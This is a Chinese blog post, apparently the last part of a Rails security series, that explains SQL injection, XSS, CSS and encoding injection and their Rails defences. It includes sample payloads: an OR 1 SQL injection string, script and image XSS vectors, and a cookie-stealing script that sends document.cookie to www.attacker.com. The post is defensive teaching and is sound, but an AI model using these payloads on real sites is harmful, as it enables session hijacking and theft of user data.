在上篇和中篇中介绍了对session的攻击和其它一些常见攻击。在下篇中着重介绍注入攻击。
注入是通过向网站内引入恶意代码或者一些恶意参数,使这些有害的代码得以在网站的安全环境中运行的攻击方法。最显著的例子是XSS和SQL注入。
SQL注入
用一个简单例子介绍SQL注入。
Project.find(:all, :conditions => "name = '#{params[:name]}'")
如果这时候用户输入 ’ OR 1 --’,则生成的SQL变成:
SELECT * FROM projects WHERE name = '' OR 1 --'
注意两个短横杆代表注释,他会忽略所有后面的代码。所以这个SQL会把所有的projects列出来。
应对策略:
Ruby on Rails有一个内建的特殊SQL字符过滤器,它会escape ', ", NULL 和 换行符这些字符。使用Model.find(id)或者Model.find_by_something(something)时Rails会自动应用过滤器。但在使用conditions, connection.execute()或者Model.find_by_sql()时,应手工应用过滤器。
在使用conditions时,可以应用以下两种方式来escape特殊SQL字符。
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
Cross-Site Scripting (XSS
)
XSS的攻击一般如下:攻击者注入一些代码,然后web程序保存这段代码,并且会出现在一张会被受害者浏览的网页上。XSS可以偷取cookie,劫持session,重定向受害者的页面到一个假的站点,或者显示一些广告,改变站点的结构以获取一些保密信息或者通过浏览器的安全漏洞安装恶意软件。
HTML/JavaScript注入
一些简单的例子:
<script>alert('Hello');</script> # 弹出一个确认窗口
<img src=javascript:alert('Hello')> # 在一些不寻常的地方注入javascript。
<table background="javascript:alert('Hello')">
盗取cookie
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
上面这段代码会向攻击者网站发一个请求,并且附上cookie为参数。
然后在www.attacker.com的网站访问日志上可以看到:
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
这时候,攻击者就知道了被攻击者的session id。
Defacement
最常见的方式是通过iframe来引入外部站点的代码,比如:
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
它会从外部网站中引入任意的html和javascript代码,然后把它嵌入成为该网站的一个部分。
应对策略:
过滤用户输入,并且在显示页面时escape用户输入数据。
过滤用户输入建议用一个白名单,只允许用户输入在白名单之内的tag(你永远都不可能知道全部黑名单,这就是使用白名单过滤的理由)。比如:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
第二步,在显示时escape所有的用户输入数据。使用escapeHtml()方法(它的别名是 h()),它会把&, ", <, >这些字符替换成(&
, "
, <
;, and >
)。程序员很容易忘记使用h()方法来escape用户输入的数据,所以推荐使用SafeErb
插件,它会提醒你escape这些用户输入字符串。
编码注入
当编码成一些如UTF8编码时,浏览器可以处理,但web应用程序不能处理。下面就是一个UTF8编码的攻击代码:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97; &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
这段代码会弹出一个弹出窗口。它也可以被sanitize()方法过滤。
CSS注入
— CSS注入本质上是JavaScript注入,因为有些浏览器(IE或者有些版本的Safari)允许在CSS里面嵌入JavaScript。
所以,攻击者可以这样在CSS里面注入有害的JavaScript:
<div style="background:url('javascript:alert(1)')">
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
Ajax注入
— 如果不是render view,那么应该在action里面escape输出数据。
如果action返回的是string,而不是render一个view。那么应该在action里面escape返回值。否者如果返回值里面包含XSS字符串,那么恶意的代码就会被执行。
RJS注入
要在RJS里面escape JavaScript -- 使用escape_javascript()方法;并且要escape html,使用h()方法。
其他
其他还有很多种注入方式,比如文本注入(Textile Injection),HTTP头注入(Header Injection),在此不再赘述。
Rails安全篇(上
,中
,下
)到此完结。
分享到:
- 2009-05-03 17:31
- 浏览 2282
- 评论(4)
- 论坛回复 / 浏览 (4 / 5005)
- 查看更多
相关推荐
Rails::API 是 Rails 的精简版本,针对不需要使用完整 Rails 功能的开发者。 Rails::API 移除了 ActionView 和其他一些渲染功能,不关心Web前端的开发者可更容易、快速地开发应用程序,因此运行速度比正常的 Rails ...
Rails 基本模板参考: : Ruby on Rails Gemfile:定义应用程序正在使用的库的文件bundle install:基于Gemfile,安装所有库每次修改 Gemfile 时都应该运行bundle install gem 是 Ruby 的库RubyGems.org 是一个查找和...
rails-style-guide:社区驱动的Ruby on Rails样式指南
[适合] Rails :red_heart: Ansible [适合] Rails :red_heart: Ansible (有一点帮助) Rails部署 简单吧? 将应用程序放在服务器上。 捆绑宝石。 应用迁移。 重新启动服务。 Easy Rails部署 git push master ...
使用Rails构建可伸缩和可维护API的最佳方法
RailsConsole 工具包 :wrench: :toolbox: 可配置的 Rails 控制台助手更快地查找记录,添加自定义助手,将您的控制台寿命提高 100%。安装将此行添加到应用程序的 Gemfile 中: gem 'rails_console_toolkit' 然后生成...
webpack-rails, 将 web pack与你的Ruby on Rails 应用程序集成 不再维护webpack-rails 不再被维护。 有关详细信息,请参阅 #90. web pack-railsweb pack 为你提供了将 web pack集成到现有的Ruby on Rails 应用程序中...
安装加 到Gemfile: gem 'rails_email_preview' , '~> 2.2.2' 添加一个初始化程序和路由: $ rails g rails_email_preview:install 在app / mailer_previews /中生成预览类和方法存根$ rails g rails_email_preview:...
自述文件这是刷新经验的一种方法。 《 Rails指南》中的当前步骤: : 与在控制器和视图之间传递数据的典型方式相反(直接使用实例变量),我将使用控制器中定义的属性访问器方法,以减少由于实例变量名称的拼写错误而...
使用引导模式运行的 Rails 4 应用程序! 这个应用程序展示了如何在 rails 4 中使用模态请参阅 users/index.html.erb 中的 Users#Show 按钮
Rails :: Dom :: Testing 这个gem负责比较HTML DOM并断言Rails应用程序中存在DOM元素。 assert_dom_equal通过assert_dom_equal和assert_dom_not_equal进行比较。 元素通过assert_dom , assert_dom_encoded , ...
Rails :: Controller :: Testing 这个gem将assigns给控制器测试的内容以及assert_template带回assigns控制器和集成测试的内容。 这些方法已中。 安装 将此行添加到您的应用程序的Gemfile中: gem 'rails-...
使用Docker开发Ruby on Rails的配置文件 docker-compose up 利润! 你得到什么 一线开发环境的设置和启动: docker-compose up 。 一个易于安装的依赖关系可在新计算机上进行编码:Docker。 (与使用Vagrant时的两...
如果您在非Rails应用程序中需要类似的功能,请考虑直接使用(这是处理内幕消毒的原因)。 安装 将此行添加到您的应用程序的Gemfile中: gem 'rails-html-sanitizer' 然后执行: $ bundle 或将其自己安装为: $...
rails_stack 食谱 TODO:在此处输入食谱说明。 例如,这本食谱使您最喜欢的早餐三明治。 要求 TODO:列出您的食谱要求。 确保包含本说明书对平台、库、其他说明书、软件包、操作系统等的任何要求。 例如 包裹 ...
Rails::Cache::Extended 这允许为记录集合生成自动过期的缓存键 安装 将此行添加到应用程序的 Gemfile 中: gem 'rails-cache-extended' 然后执行: $ bundle 或者自己安装: $ gem install rails-cache-...
Rails数据库方案 Rails数据库模式的Autocomplete +提供程序。 特征 自动完成活动记录 根据当前上下文打开模式文件 设定值 将Rails语法设置为默认语法。 " * " : core : customFileTypes : " source.ruby.rails...
允许您使用为Rails应用程序的前端供电。 是将前端工具像Ruby一样进行编程,纯属喜悦! :smiling_face_with_heart-eyes: 或在运行的检查。 产品特点 :high_voltage: :light_bulb: 即时服务器启动 :high_voltage: ...
一个项目模板,用于为AWS Lambda快速创建一个新的Rails应用程序。 细节: Ruby 2.7运行时上的Railsv6.x。 集成JavaScript开发。 使用LibSass&Webpacker编译CSS / JS资产。 没有ActiveRecord。 阅读我们的指南...